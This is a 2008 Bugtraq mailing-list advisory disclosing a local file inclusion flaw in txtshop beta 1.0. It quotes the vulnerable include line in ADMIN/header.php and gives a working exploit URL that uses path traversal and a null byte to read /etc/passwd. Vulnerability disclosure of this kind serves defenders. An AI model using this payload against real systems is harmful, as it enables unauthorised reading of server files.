[<prev] [next>] [day] [month] [year] [list]
Message-ID: <615c86240810230232h5074ac88y7f385dcdf64372ad@mail.gmail.com>
Date: Thu, 23 Oct 2008 11:32:12 +0200
From: Pepelux <pepelux@...e-sec.org>
To: bugtraq@...urityfocus.com, bugtraq-owner@...urityfocus.com
Subject: txtshop - beta 1.0 / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
txtshop - beta 1.0 / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
$ Program: txtshop
$ Version: <= 1.0
$ File affected: ADMIN/header.php
$ Download: http://sourceforge.net/projects/txtshop/
Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org
--Bug --
4. if (!$language)$language="ch";
5. include_once("../lib/lang.".$language.".php");
-- Exploit --
http://site.com/ADMIN/header.php?language=/../../../../../etc/passwd%00
Powered by blists - more mailing lists